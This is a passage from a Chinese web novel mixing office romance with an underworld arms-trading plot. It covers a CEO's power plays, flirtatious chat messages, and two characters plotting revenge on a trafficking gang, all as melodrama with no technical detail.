时清徵又叹了一口气:“先生,我还没你联系方式呢。” 顾鸣鹤先前没有考虑过自己会单独联系时清徵这种可能所以也没加他。 一听时清徵这么说,他就想起了今天中午时清徵坐在楼下等一个小时的事。 “等我吃完饭。” “先生,你好慢。”时清徵双手托着下巴,悠悠道。 “慢?”顾鸣鹤扬了下眉,没说什么。 第31章 孙董 时清徵也忘了顾鸣鹤是什么时候走的,好像是几个小时之前吧。 不重要了。 天和集团,总裁办。 孙董略脸上堆着刻意的笑,走了进来:“顾总啊,忙着呢?” 他搓着手,努力让自己显得自然些,“那个......小陈的事,她年轻不懂事,就是无心之失,您看能不能高抬贵手,宽恕她这一次? 孙董人到中年,保养得倒还行,头发浓密,只是身材发福得厉害。 想起昨晚小陈那双哭得红肿的眼睛和在自己怀里抽噎了一宿的样子,他脑袋就嗡嗡作响。 哄到最后,他自己都烦了,为了尽快脱身,也为了面子,才拍着胸脯保证会来顾总面前求情。 此刻站在顾鸣鹤的办公桌前,他心里却直打鼓。 顾鸣鹤和其他空降的总裁不一样,天和集团是顾家的产业,最大的股份还牢牢攥在顾老爷子手里。 眼前这位年轻的总裁,手里握着的股权也足够压死他。 孙董平时在别处还能摆摆董事的架子,在顾鸣鹤面前,腰杆子就没法真正挺直。 今天硬着头皮来,一是海口已经对小陈夸下,不来实在丢份儿。 二来他也确实觉得,小陈那点小错,顶多训斥几句,犯不着开除这么绝。 “小陈?”顾鸣鹤显然还没有想起来小陈是谁。 孙董连忙补充道:“就是昨天那个犯了错的姑娘,您就宽恕她这一次。” “宽恕?”顾鸣鹤这才想起她来。 只是他眼皮连眼皮都没撩开,只从文件上懒懒地掀起一点目光,落在孙董脸上。 声音带着一丝玩味的拖腔:“孙董似乎对她格外关照啊?” 顾鸣鹤身体微微后仰,靠进椅背,指尖无意识地轻敲着桌面:“不知道您家里那位.....知不知道您这份欣赏?” 孙董的心猛地一沉。 不会吧?他跟小陈那点关系一直捂得严严实实,顾鸣鹤怎么会.......? 冷汗瞬间从额角渗出来,他下意识地抬手抹了一把,脸上的笑容僵硬: “哈哈,顾总说笑了,说笑了.......主要,主要是小陈那丫头,平时工作确实机灵,我......我就是惜才,惜才嘛!” 顾鸣鹤似乎连跟他虚与委蛇的兴趣都欠奉,直接丢出反问,语气陡然转冷:“惜才?这个人才可以把我的话当耳旁风?” 旋即哼笑一声:“确实是人才。” 孙董感觉脸上的肌肉都在抽搐,那点强撑的笑容彻底挂不住了:“那,那主要是李特助没讲清楚,小陈她真不知道那是顾总您特意交代要去接的人啊!要是知道,她怎么敢.......” “要是知道?”顾鸣鹤嗤笑一声,随手将指间把玩的笔往桌面一撂。 “啪”的一声脆响,在办公室里格外刺耳,也彻底截断了孙董的话头。 他微微倾身向前,无形的压力瞬间笼罩了办公桌对面的人: “孙董,我很好奇。她是领着我顾鸣鹤发的薪水,为我服务的?还是领着你孙董的薪水,为你服务的?或者,她是为整个集团服务的?” 最后几个字,他咬得格外清晰,带着毫不掩饰的嘲讽。 孙董浑身一个激灵,再迟钝也彻底明白了顾鸣鹤的态度。 这不是求情,这是踢到了铁板。 他肠子都悔青了,恨不能立刻消失。 “是,是是是,您说得对,是我糊涂。我回去.......回头就发消息,让她深刻反省。”他语无伦次地保证着,只想赶紧结束这场煎熬。 顾鸣鹤没再看他,目光重新落回文件上。 孙董如蒙大赦,一秒也不想多待,屁股刚离开椅子,就忙不迭地说: “顾总您日理万机,我就不打扰您工作了,您忙,您忙!”说着就要转身开溜。 “等等。” 顾鸣鹤的声音不高。 孙董僵硬地转回身。 顾鸣鹤这才慢悠悠地抬眼,嘴角勾起一抹似笑非笑的弧度:“听说孙董前天,在云顶轩,和我二叔顾砚川相谈甚欢,共进晚餐?” 顾砚川,顾鸣鹤的二叔。 顾家内部暗流汹涌,顾砚川更是视顾鸣鹤为眼中钉肉中刺,背地里使的绊子数不胜数。 “没,没有。就是碰巧遇上了,随便.....随便聊了几句家常,真的。”孙董的舌头都打了结。 “哦?随便聊聊家常?”顾鸣鹤唇角的弧度加深,那笑意却丝毫未达眼底。 “看来孙董和我二叔.......私下交情匪浅啊?” “不敢,绝对不敢。”孙董吓得连连摆手,头摇得都快出残影了。 “我和顾二爷就是.....就是生意场上打过几个照面,私下,私下绝对没什么往来!我向您保证!” 他感觉自己的笑容比哭还难看,每一秒都在崩坏的边缘。 “是吗?”顾鸣鹤淡淡地反问。 “千真万确,顾总明鉴 我,我这种人,怎么可能跟顾二爷攀上什么交情?我也配不上啊!” 孙董的声音都变了调。 顾鸣鹤这才仿佛满意了,轻轻颔首:“也对。” 孙董感觉自己脚底板已经不是踩在地毯上,而是直接踩在烧烤架上。 如果不是顾鸣鹤在这里,他真想拔腿狂奔。 “顾总,我那边还有个急事。” “既然孙董贵人事忙,那就请便吧。”顾鸣鹤重新拿起笔,目光也回到了文件上,语气恢复了那种疏离的平静。 孙董如闻仙乐,差点要鞠一个躬了。 然后以一种近乎逃命的姿态,快步走出门。 那可真是一个步履生风啊。 几乎在他消失的同时,李特助拿着文件夹,步履从容地出现在门口,恰好与孙董擦肩而过。 他微微颔首,公式化地招呼:“孙董。” 孙董哪里还顾得上回应,头也不回,只留下一个背影。 李特助面不改色地走进办公室,将文件夹放在顾鸣鹤桌上:“顾总。” 顾鸣鹤头也没抬:“给孙雷的夫人发封邮件。把之前孙董和那位陈小姐在丽景酒店地下车库的照片,挑几张清晰的,匿名发过去。” 他顿了顿,指尖在桌面上轻轻一点:“另外,在邮件结尾提一句,让她关注一下她先生最近的.....工作状态。” 李特助:“明白。” 第32章 干死他丫的 孙董私下和顾砚川勾勾搭搭,早就不是一天两天的新鲜事了。 虽然顾砚川这老狐狸主管着海外那几摊子,但这丝毫不妨碍他把手伸得老长,隔三岔五就给顾鸣鹤使点绊子,下点眼药。 对于亲二叔这份“拳拳爱护之心”,顾鸣鹤自然懂得“礼尚往来”。 以其人之道,还治其人之身嘛。 你送我一尺,我敬你一丈,这才叫“叔侄情深”的友好往来。 午间短暂的空隙。 顾鸣鹤靠在高背椅上,指尖划过手机屏幕。 联系人列表里,一个突兀的新名字赫然在列。 【你洗了蒜了】 顾鸣鹤的指尖顿住,下意识点开那个顶着一瓣白生生、孤零零大蒜头像的对话框。 聊天界面干净得刺眼。 唯一的记录,还是那条冰冷的系统提示 【顾鸣鹤:我通过了你的朋友验证请求,现在我们可以开始聊天了】 下面一片空白。连个敷衍的表情包都没有。 “........” 顾鸣鹤沉默地盯着那个大蒜头像,又看了看那个挑衅般的昵称【你洗了蒜了】 一种难以言喻的荒谬感和.......不爽,悄然爬上心头。 看着那大蒜头像,似乎也带上几分嘲讽:聊吗?聊啥? 他最终面无表情地退出了聊天界面,将手机反扣在桌面上。 指关节无意识地在桌面敲了敲。 他现在越来越,非常,极其有种感觉。 自己养的这个金丝雀,是不是有点过于不称职了? 别人家养的金丝雀,也敢这么明目张胆地把金主当空气吗?连个“你好”都懒得发? 还是说.......这蒜头成精的玩意儿,真觉得自己洗了蒜了? 时清徵从睡醒就打车回了半山庄园,然后一头扎进了那加密文档的最后一层加密里。 终于赶在在午饭前,解开了最后一道加密。 他浏览着这份幽灵组织的绝密信息。 这份资料里记录的是幽灵组织的军火运输网络档案,详尽得令人心惊。 不仅有数条隐秘的运输线路图,甚至各线负责人姓名、代号,大小据点分布都在内。 只要按图索骥,精准打击,足以让幽灵组织赖以生存的军火生意伤筋动骨,元气大伤。 然而,当他的视线掠过那些密密麻麻的线路时,几条标注着赤洲到碎洲的路径让他眼神一凝。 碎洲? 那可是FK集团军火生意的核心腹地了。 幽灵组织竟敢把手伸到这里,这已经不是简单的抢生意,而是赤裸裸地骑在FK集团头上拉屎撒尿了。 但时清徵的目光并未过多关注这几条路线,他的注意力被另一条相对不起眼的路线抓住。 这是条从东南群岛通往东洲的运输线。距离虽近,风险却未必小。 真正让他心中升起一丝玩味兴致的,是这条线的负责人名字: 江晓崖。 姓江? 这个名字,似乎在哪里听过? 时清徵唇角勾起弧度,直接切入FK集团的内网,给江南月发了条信息: 【万岁:你给的硬骨头啃开了。资料已传。】 江南月的回复快得像守在屏幕前: 【青鸟:收到!效率!靠谱!】 【青鸟:点赞jpg.】 短暂的沉寂。 果然,没过多久,新的信息炸了过来: 【青鸟:窝草!卧槽槽槽!!!世界地图是TM按剧本画的吗?这也能撞上?!】 【青鸟:江晓崖?!那不是我那个便宜得不能再便宜,怂得恨不得钻地缝的二叔吗?!】 遥远的江氏集团顶层办公室内,江南月猛地从老板椅上弹了起来,身体瞬间坐直。 她眼中瞬间褪去了漫不经心,取而代之的一片精光。 江晓崖? 那个只会躲在老爷子背后搞点小动作,前几天被她轻易撸掉总裁位子时只敢放一个屁的窝囊废? 前几年还被她亲手剁了两根手指,现在连枪都未必端得稳。 他?负责幽灵组织的东洲军火运输线?! 江南月只觉得一股荒谬又极度亢奋的热流直冲天灵盖。 “哈!” 她忍不住嗤笑出声,指尖用力戳着屏幕,仿佛能隔着屏幕戳到江晓崖那张猥琐的脸。 难怪啊难怪! 江家这滩烂泥里,就属他上蹿下跳得最欢实,原来背后攀上了幽灵组织这棵歪脖子树。 难怪这么有底气,跟个打不死的小强一样。 她这两天正坐镇江氏集团,看着新总裁接手,严防死守那群被她掀下台的老家伙们反扑。 原本还觉得有点无聊,此刻这个消息如同给她注射了一剂兴奋剂! 【青鸟:怎么说?!那是我二叔啊!亲的!】 【青鸟:啊啊啊!好兴奋!你说我是直接把他连人带货送上天呢?还是先抢了他的货让他跪着哭,然后再送他上天呢?好难选啊!疯狂搓手jpg.】 江南月兴奋得手指都在微微发抖,脑子里已经上演了十八种炮决江晓崖的方案。 时清徵看着屏幕上瞬间刷屏的“上天”计划,额角隐隐抽动。 他无奈地揉了揉眉心,敲字提醒这个显然被“亲情”冲昏头脑的同僚: 【万岁:.......大小姐,冷静点。你眼里只有东洲那条线?碎洲呢?别人都去你地盘贴脸开大了,你到底行不行?】 碎洲的军火生意确实是江南月名义上负责的领域,不过到了他们这个层级,早已无需亲自扛枪冲锋。 运筹帷幄之中决胜千里之外才是常态。 一个命令下去,自然有无数精锐去执行。 准确来说就是打电话动动嘴皮子的人。 但是! 这次不一样! 这次要搞的是她那个便宜二叔! 亲手把他和他那见不得光的生意碾碎成渣,光是想想那场景,江南月就兴奋得浑身细胞都在尖叫。 【青鸟:干!】 【青鸟:必须干!干他丫的!】 【青鸟:干死他!爽翻天!!!疯狂旋转gif.】 屏幕上瞬间被简单粗暴又充满力量的“干”字刷屏,夹杂着极度兴奋的表情包。 时清徵盯着对话框里不断跳出的“干”字,陷入了短暂的沉默。 他感觉自己快不认识这个动词了。 江南月疯起来真是六亲不认,且格外聒噪。 第33章 你拍了拍顾鸣鹤 时清徵默默关上了和青鸟的聊天界面。 既然青鸟去了,那这件事怎么都轮不到他,跟他关系不大。 弄完加密档案的事,时清徵才去吃午饭。 顾鸣鹤不在,他也懒得折腾,随意对付一顿午饭就好。 刚在餐桌前坐下,还没扒拉几口,李管家就走了过来。 脸上还带着一种恰到好处的,仿佛只是随口一提的关切:“时先生,您要不要给顾总发个信息问候一下?” 时清徵闻言,从碗里抬起头,眨了下眼,很干脆地点头:“发消息?好啊。” 他答得理所当然,仿佛这只是李管家布置的一个日常小任务。 李管家心里那口气瞬间就舒坦了,甚至有点欣慰。 刚才顾总可是破天荒地主动给他发了条信息,内容简短却意味深长: 【他在做什么?】 李管家在顾家服务多年,早已练就一双火眼金睛。 顾总这哪是单纯关心时先生在做什么?这分明是拐弯抹角地想知道时先生有没有想起他! 虽然揣摩上司心思有点风险,但李管家觉得这事儿八九不离十。 退一万步说,就算猜错了,让时先生给顾总发条问候信息,那也是再正常不过的礼仪嘛。 时清徵放下筷子,拿起手机,点开那个顶着“顾鸣鹤”三个正经名字的对话框。 发什么呢?他指尖在屏幕上方悬停了几秒,难得地纠结了一下。 最终,他选择了最朴实无华,也最符合国人习惯的开场白: 【你洗了蒜了:顾先生,你吃饭了吗?】 【你洗了蒜了:小猫探头jpg.】 标准的问候流程在他脑海里滑过:吃了没?吃的啥?我也吃了,我吃的啥....... 然而信息发出去后,对面陷入了短暂的沉默。时清徵等了几分钟,屏幕才终于亮起: 【顾鸣鹤:正在吃。】 回复简洁得和他昵称一样正经。 时清徵的目光不由自主地落在了顾鸣鹤的头像上。 那是一只线条简洁的卡通黑猫,通体漆黑,只有眼睛是金色,姿态优雅又带着点慵懒感。 啧,别说,这头像的气质,跟顾鸣鹤本人还真有几分神似。 时清徵看着那猫头像,越看越觉得微妙,指尖下意识地就朝着那个小小的黑猫图案点了下去...... 下一秒,聊天界面底部,一行系统提示的小灰字无情地跳了出来: 【“你洗了蒜了”拍了拍“顾鸣鹤”。】 时清徵:“...........” 他的指尖忽然僵硬了一下。 啊——这——! 他只是想点开看看大图,不是想拍一拍啊喂! 这破手机!这破功能! 时清徵死死盯着屏幕上那行刺眼的“拍一拍”提示。 然后手指快过脑子,猛地就想切出对话框,火速去搜索引擎求救“拍一拍怎么撤回”。 然而,迟了。 顾鸣鹤显然是在线的。 几乎是下一秒,一个简洁的问号就跳了出来: 【顾鸣鹤:?】 看着那个黑色的问号,时清徵他深吸一口气,指尖带着点自暴自弃的意味敲字解释: 【你洗了蒜了:不小心点错了。尴尬jpg.】 后面还紧跟了一个系统自带的小黄脸捂脸尴尬表情,力求传达出自己此刻的真实心境。 与此同时,天和集团员工食堂。 顾鸣鹤独自坐在靠窗位置,面前的餐食几乎没动几口。 周围几桌都空着,没人敢贸然靠近,但四面八方若有似无的视线时不时落他身上。 他反复看着时清徵发来的那句“不小心点错了”和那个“尴尬jpg.”。 此时眼前几乎能浮现出对方恨不得原地消失的模样。 一股难以言喻的愉悦感冒出来。 不远处的几张桌子,看似各自安静用餐的员工们,眼神早已在空气中疯狂交汇。 无声的八卦电波滋滋作响。 终于,有人忍不住在手指在桌下飞速盲打。 员工匿名私聊群【茶水间八卦速递】瞬间炸锅: 【蛙趣!蛙趣蛙趣!我看到了什么?!顾总他!他对着手机笑了!不是冷笑,是真笑!春风化雨那种!】 【楼上+1!坐标C区,角度绝佳!顾总那嘴角,起码上扬了15度!】 【?????什么剧情展开?冰山融化了?铁树开花了?太阳打西边出来了??】 【其实顾总也不冰山吧,他也经常笑......】 顾鸣鹤的长相其实是和冰山挂不上边的,只是员工总是对霸总有种莫名其妙的滤镜。 【你是指顾总在开会时的冷笑,讥笑,嘲笑?】 【当我没说......】 【以我多年的小说经验来看,总裁笑了无非是一种.....】 【那么真相只有一个, 顾总他恋爱了!】 【嘶......楼上惊现真相帝,但像顾总这种级别的家世,不都是商业联姻,门当户对的千金小姐吗?自由恋爱?小说照进现实?】 【弱弱举手,顾总有公开的未婚妻吗?好像从来没听说过啊?】 【没有+1,顾家捂得严实,但真要有,风声早该透出来了。】 【没有+10086!所以......自由恋爱可能性飙升!】 【等等!你们别光想着谈恋爱!万一是顾总刷到个贼好笑的沙雕视频呢?我看到搞笑视频的时候也会这样嘿嘿嘿。】 【醒醒!你只会呲着个大牙嘎嘎乐,表情管理稀碎,别把自己代入霸总剧本了。 霸总的笑,那是含蓄中带着愉悦,优雅中透着宠溺,跟咱们这种牛马的傻乐能一样吗?!流泪猫猫头jpg.】 【扎心了老铁,真相总是如此残酷。所以结论是,顾总大概率是真有情况了。对象未知!但能让他笑成这样的,绝对是神仙眷侣级别。】 【原来顾总能笑得这么真诚啊,我还以为他只会阴阳怪气呢。】 【上面的,这消息要是被顾总知道你不炸了吗?】 【这个群要是泄露我们都得引咎辞职。斜眼笑jpg.】 【要死一起死。挨骂jpg.】 【所以只有我一个人好奇,顾总到底看到什么了吗?色jpg.】 【big胆!】 群里的消息刷得飞快,各种猜测和“扎心”言论齐飞。 而处于八卦风暴中心的顾鸣鹤,对此一无所知。 他指尖在屏幕上轻轻点了点。 【顾鸣鹤:嗯。】 随后时清徵就看到这么一条消息。 “顾鸣鹤”拍了拍你。 【顾鸣鹤:礼尚往来。】 【你洗了蒜了:阿巴阿巴jpg.】 第34章 自己画的 时清徵换了个更舒服的姿势,翘着腿,继续这场“午后闲谈”。 【你洗了蒜了:先生这张头像挺好看的,网上找的?】 消息发出去,他想象着顾鸣鹤可能会回个“嗯”或者干脆不理会这种“无聊”问题。 没想到,对面回复得不算慢,内容却出乎意料: 【顾鸣鹤:自己画的。】 “自己画的?” 时清徵眉梢一挑,来了兴趣。他忍不住又点开那个卡通黑猫头像,这次看得格外仔细。 线条流畅简洁,寥寥几笔就勾勒出黑猫的神韵,确实很有味道。 自己画的啊...... 这个认知让时清徵心底掠过一丝新奇。他指尖在键盘上点了点,带点调侃又带点真诚地回复: 【你洗了蒜了:先生还真是多才多艺。花花jpg.】 附赠了一朵系统自带的,略显土气的玫瑰花表情。 顾鸣鹤的回复再次刷新了他的认知: 【顾鸣鹤:高中时候随手画的。】 高、高中?!时清徵差点被自己的口水呛到。 顾鸣鹤?那个现在气场两米八的顾总,高中时期这么有童心? 他难以置信地将图片放大再放大。 他这才看清黑猫的背景并不是一片空白,在画面的左上角还有一个..... 额,数学公式? 时清徵:“.........” 这一刻,他仿佛看到了一个十几岁穿着校服的顾鸣鹤,在数学课上走神,然后百无聊赖地在课本上涂鸦。 时清徵忍不住笑出了声,指尖带着点促狭敲字: 【你洗了蒜了:先生是不是上数学课的时候没有认真听?】 潜台词呼之欲出:上课开小差画画是吧?被我逮到了! 顾鸣鹤的唇角不自觉地向上弯起,桃花眸中荡开层层笑意。 让整张脸都柔和生动了起来。 他的回复带着点慵懒和死不承认的意味: 【顾鸣鹤:我忘记了。】 屏幕这头,时清徵看着这轻飘飘的“我忘记了”无语一瞬。 仿佛看到对方此刻那副“你能拿我怎样”的模样。 他笑着撇了撇嘴。 【你洗了蒜了:嗯嗯。】 敲下两个敷衍中带着点乖巧的字。 行吧。顾总说忘记了,那就是忘记了。 看破不说破,给咱顾总留点“霸总”的面子。 就在这时,一个名为【京城四剑客(今晚嗨起来版)】的群聊图标疯狂跳动起来。 点开,率先刷屏的是靳云封。 【疯了:(蓝品会场定位)】 【疯了:兄弟们,多久没聚了?!出来嗨!必须嗨!前两天新开的一个场子,绝对够劲!@全体成员】 正值午休,群里有两位“剑客”显然摸鱼摸得正欢,回复得飞快。 【花燕子:哟,蓝品?这名字听着就骚气。摸下巴jpg.】 【花燕子:行吧,给你靳少个面子,准了。】 靳云封立刻点名剩下的两位: 【疯了:@顾鸣鹤 @沈以煜 别装死!速度!】 【沈以煜:今晚排了台大手术,预计要干到后半夜。精神与你们同在,肉体婉拒了哈。】 靳云封立马开怼: 【疯了:靠!沈医生你能不能有点生活情趣?!天天跟手术刀过,你也不嫌寡淡!】 【疯了:@顾鸣鹤 顾哥救我!你得来!你不能看着兄弟我孤军奋战被宋燕子这骚包比下去啊!】 【花燕子:?】 宋燕归显然更了解顾鸣鹤近况,带着点看好戏的意味插话: 【花燕子:啧,我赌一打黑桃A,顾哥今晚来不了。家里不是多了只小雀儿要顾着么?】 靳云封不服: 【疯了:哈?小雀儿?我顾哥是那种会被小情小爱绊住脚的人?金丝雀嘛还能耽误咱顾哥出来喝酒?对吧顾哥?@顾鸣鹤】 两人一唱一和,把话题精准地引向了顾鸣鹤。 他们都知道顾鸣鹤养了个人,也偶尔拿这事打趣。 在他们这群含着金汤匙出生,游戏人间的顶级二代眼里,时清徵的存在,不过是个供兄弟间调侃的消遣玩意儿罢了。 谁会真的把一个“玩意儿”当回事? 顾鸣鹤刚回完时清徵那句“嗯嗯”,才切回这个聒噪的群聊。 就看到靳云封最后那条@他的信息,以及宋燕归那意味深长的“小雀儿”论调。 他指尖在屏幕上悬停了一瞬。 时清徵似乎确实没怎么“绊”过他。甚至.....还挺省心? 省心到让他有点不爽?或者说,期待落空? 这个念头一闪而过,快得抓不住。 顾鸣鹤自从当了天和集团总裁后,的确没有以前那么空闲。 “不去”还没打出来,时清徵那边的消息跳了出来。 【你洗了蒜了:先生,今晚我有事得出去一趟,可能晚点回来。卖萌jpg.】 【顾鸣鹤:嗯。】 过了几秒后又补充 【顾鸣鹤:以后这种小事可以不用跟我说。】 【你洗了蒜了:OK】 然后顾鸣鹤又将屏幕切回到那个“混乱”的群里。 他眼神没什么波澜,手指却利落地敲下一个字,直接甩进群里: 【顾鸣鹤:来。】 言简意赅,掷地有声。 群里静默了半秒。 随即,宋燕归的消息跳了出来。 【花燕子:哟呵!坏笑jpg.】 靳云封则瞬间打了鸡血: 【疯了:还得是我顾哥,够意思!今晚不醉不归!】 字里行间充满了“你看我就说顾哥不会被绊住”的得意。 顾鸣鹤看着群里瞬间又刷起来的消息,随后将手机放到了一边。 另一边,时清徵正有一搭没一搭地应付着江南月的“骚扰”。屏幕上还残留着几分钟前这位大小姐的“控诉”: 【性感母蟑螂在线耍流氓:喂!你还欠我一顿饭你记得吗?敲碗等饭jpg.】 【你洗了蒜了:行,地址发我,网购一箱泡面给你邮过去,自己一边玩去吧。】 【性感母蟑螂在线耍流氓:嘶——时清徵你丫铁公鸡啊!连根火腿肠都不加?!愤怒掀桌gif.】 【性感母蟑螂在线耍流氓:算了算了,不跟你贫。我找你是有正事的,见面聊。正经脸jpg.】 时清徵扫了一眼历史记录,对江南月的“正事”表示深度怀疑,十有八九又是想拉他下水搞事。 不过反正他下午也没啥安排,于是他回了句: 【你洗了蒜了:行。位置我订。】 消息刚发出去,对面几乎是秒回,字里行间充满了浮夸的“感激”: 【性感母蟑螂在线耍流氓:哇!老板大气!老板发大财!老板福如东海寿比南山!磕头谢恩gif.】 时清徵看着屏幕上那个疯狂磕头的表情包,面无表情地锁了屏。 第35章 两碗牛肉面 是夜。 霓虹初上,城市喧嚣更甚。 一家毫不起眼的老马牛肉面馆里,灯泡悬在头顶,投下略显昏黄的光晕。 空气里弥漫着牛肉汤香气和淡淡的油烟味。 但店面倒是很干净整洁,有可能是没客人的原因。 江南月坐在塑料凳上,和桌对面的时清徵大眼瞪小眼。 她一身剪裁利落价格不菲的当季新款,与这简陋的小店环境格格不入。 时清徵倒是泰然自若,对着柜台后一个系着围裙,而且面相憨厚的中年老板扬声道:“老板,两碗牛肉面。” 老板头也不抬,声音洪亮:“好嘞!稍等!” 小店不大,此时只有他们两位客人,显得格外安静。 老板下面条的声音清晰可闻。很快,两碗面被端了上来,放在看起来有些年头的木桌上。 碗很大,分量惊人,最扎眼的是那几乎覆盖了整个汤面的厚厚一层的牛肉片,堆得都冒尖儿了,豪横得江南月都有些震惊。 她盯着那碗“牛肉山”,这才感觉得到了一丝慰藉。 但也只有一丝丝。 然后又环顾了一下这苍蝇大小的馆子,又有些忍无可忍了。 压低声音咬牙切齿质问时清徵: “时清徵,说你抠门儿,那真是侮辱‘抠门’这个词了。” 她几个小时前还在顶级餐厅里享用着料理,转眼就被拉来吃路边摊,这落差简直了。 时清徵眼皮都没抬,自顾自从桌上的调料罐堆里拎起一瓶陈醋,慢条斯理地往自己碗里倒。 “要来点不?” 他语气平淡,顺手把醋瓶子往江南月那边推了推。 江南月没好气地白了他一眼,一把抓过醋瓶,往自己碗里狠狠倒了一大圈,浓烈的酸味瞬间弥漫开来。 随后拿起筷子,泄愤般地用力搅动着碗里的面条和牛肉。 时清徵已经埋头开吃了。 江南月看他吃得正香的样子,也暂时压下吐槽的欲望,认命地挑起一筷子面。 嗯? 抛开环境不谈,味道确实不赖。 她撇撇嘴,也开始慢悠悠地吃起来,只是每次咬断面条都有些用力,像是在发泄那丁点的不满。 两人沉默地干掉了分量十足的两碗面,连汤都喝了大半。 老板适时地走过来,手脚麻利地收走了空碗。 紧接着,他走到门口,把卷帘门拉下了一半,又从里面把玻璃门锁上了。 小店瞬间成了一个半封闭的空间。 江南月动作一顿,目光看向那个正在擦手的老板。 老板似有所感,停下动作,朝江南月这边望来,脸上那副市井小老板的憨厚表情褪去。 眼神忽然变得沉稳锐利,冲她微不可察地点了点头,然后转身走进了后厨方向。 “呵......” 江南月轻哼一声,了然看向时清徵。 “难怪你约我来这种风水宝地。” 时清徵抽了张纸巾擦嘴,抬眼,语气波澜不惊:“不然呢?” 江南月挑了挑眉:“行吧,算你这回还靠点谱。” 她指的是地点和信息的可靠性,至于这顿饭的档次? 呵,她记在小本本上了。 “行了,别磨叽了,你到底要说什么事?” 时清徵直奔主题。 江南月反而是先慢条斯理地从她那手包里掏出一面小巧的化妆镜,对着灯光仔细地补了补妆。 嫣红的唇膏在她唇瓣上晕开,更添几分凌厉的美艳。 她抿了抿唇,才收起镜子,抬眼看向时清徵,眼神里的温度已经降了下来: “其实也没什么大事,就是碎洲那摊子,又起火了。” 她语气平淡,但透着一股压抑的烦躁:“那群地头蛇,知道我这段时间不在碎洲那边,心思就活络了,爪子也开始不安分了。” 她端起桌上的水喝了一口,想压下火气,但是皱了皱眉,却更添郁气:“我是真想退休躺平啊.......可这破现实,它不允许!” 说这话时,她精致的脸上没有半分平日的轻松,反而笼着一层冰冷。 “具体点?” 时清徵身体微微前倾,他知道能让江南月露出这种表情的,绝不可能是小事。 “还记得黑潮公司吗?就上个月,我带人端了他们那条最赚钱的走私线,货全扣了,人也按规矩处理了。” 江南月的声音带着不善:“本以为能让他们老实趴窝一阵子,结果呢?” “我今天下午刚接到线报,这群不知死活的玩意儿,把我们集团在碎洲的一个秘密研发团队,连人带核心数据,全给劫了!” “黑潮公司?” 时清徵眼神一凝:“就那个在碎洲边境,靠着贩毒、倒卖军火和人口发家的黑潮?” “除了他们还有谁?” 江南月眼中戾气翻涌,“那个叫卢卡斯的老板,就是个彻头彻尾的毒瘤、人渣! 要不是他们在碎洲盘踞多年,根深蒂固,我早他妈一枪崩了他,送他下地狱!” 她的话语里充满了毫不掩饰的杀意。 看着江南月这副恨不能生啖其肉的模样,时清徵敏锐地捕捉到一丝更深层的怨怼:“那个卢卡斯以前就跟你结过梁子?” 江南月闻言,发出一声极其冰冷的嗤笑:“结梁子?当年我们FK集团刚把手伸进碎洲,就是他这条地头蛇给我们下绊子下得最狠。 那时候碎洲的业务是我在开荒,根基不稳,不敢跟他们硬碰硬........” 她顿了顿,强压翻涌的情绪,声音从齿缝里挤出来:“我为了打通关节,不知道在那个杂碎面前说了多少违心的好话,陪了多少笑脸?喝到胃出血,吐得胆汁都出来了,还得撑着,就为了从他牙缝里抠出一点点生存空间!” 她猛地攥紧了拳头,指节因用力而发白:“现在FK集团在碎洲是什么地位?他还敢不长眼地来招惹我,还敢动我的人,抢我的东西?!” 她将口红狠狠摔回包里。 “这次,我不把他连根拔起,不把他那破公司碾成渣,算我江南月他妈没种!” FK集团如今的辉煌,是踏着无数荆棘和鲜血走过来的。 他们四个核心成员,哪个不是在酒池肉林、刀光剑影里滚过几圈? 那些做军火、毒品、走私生意的亡命之徒,哪一个不是人精?哪一个好糊弄? 时清徵当时年纪最小,身手却最好,但脾气也最暴烈的。 他最受不了那些虚与委蛇的场面,好几次在酒桌上,对方仗着身份和势力故意刁难,硬逼着年纪尚小的他灌酒。 最后还在那里打马虎眼,一副不认账的模样。 时清徵二话不说,直接拎起桌上的酒瓶子就砸对方脑门上了。 下手狠辣,给人开瓢是家常便饭,鲜血混着酒溅得满场飞,凶名在外。 后来,连一向冷静自持的昏鸦都看不下去了,深知他这暴脾气实在不适合生意场上的尔虞我诈,干脆把他调去负责FK集团最核心的行动处运作。 直接用拳头和子弹说话。 时清徵也确实不负所托,以雷霆手段为集团扫清了无数障碍,暗地里除掉的竞争对手不说一百也有八十了。 即便昏鸦是盟洲那个古老神秘家族的继承人,也从未轻视过他们三个一路并肩拼杀过来的伙伴。 他们之间的情谊,是血与火淬炼出的信任。 第36章 你自己留着享用吧 FK集团如今已平稳运行,基本不会出现什么大问题。 核心四人中,还剩一个昏鸦坐镇中枢。 时清徵偶尔想起来会回去看一眼,而剩下的青鸟她们两个则是根本见不到人影,各有各的轨迹。 江南月扣了扣刚做好的美甲,再抬眼时,脸上已恢复了惯常的的高贵冷艳。 她抽出纸巾,擦了擦包:“所以这两天我得亲自回碎洲一趟。不亲手把那只王八的脑袋拧下来当球踢,我怕是要失眠了。” 她语气平淡,好像只是在说一件普通事。 时清徵指节在桌面上轻轻叩了两下,沉吟片刻:“我在碎洲........还有几个闲置的军火库,坐标和密码发你。” 江南月的眼睛瞬间亮了起来,像发现了宝藏:“哦?可以啊你!什么时候藏的私房钱?” 她身体微微前倾,八卦之火熊熊燃烧。 “之前截幽灵组织那几批运输线的时候,顺手‘接收’的。” 时清徵语气平淡得像在说收了几个快递:“堆在那边也是落灰,别浪费了。” 江南月唇角勾起一抹笑意,指尖在桌面上轻轻一划:“放心,保证每一颗子弹,都精准地找到它该去的地方。比如,某些不长眼的脑门。” 时清徵点头:“正好,也是时候补充一批新的进去了。” 江南月自然明白他指的是什么,微微颔首。 时清徵指的自然是新发现的幽灵组织军火路线和据点。 看档案这些路线和据点是幽灵组织近些年花了大功夫疏通建造的,想必宝贝不少。 拆,抢! 主打的就是一个帮忙分担财富压力。 江南月看着他这副云淡风轻搞大事的样子,忍不住笑出声,带着点探究:“啧,看来这两年你也没闲着啊,闷声发大财?说说,小金库攒多少了?也没见你挥霍过。” 时清徵眼皮都没抬:“没多少。你知道的,我不碰生意。” 他确实对经营没兴趣。 “少来!”江南月嗤笑一声。 “我还不知道你?多少公司捧着股份求着送你,就为了挂个名保平安呢。” 这是圈内公开的秘密,时清徵在FK的名头,就是最好的护身符。 “你这话.......” 时清徵像是被提醒了什么,抬眼看向江南月,话锋一转:“倒是提醒我了。你对程氏集团,了解多少?” “程氏集团?” 江南月蹙眉,努力在记忆中搜索这个快被遗忘的名字:“哦,那个半死不活的?就知道他们那个新总裁挺拉胯的,叫.......叫什么来着?” 她对这种边缘人物实在没印象:“你怎么忽然问起这个?有仇?” 时清徵没有否认,只淡淡应了声:“差不多吧。” 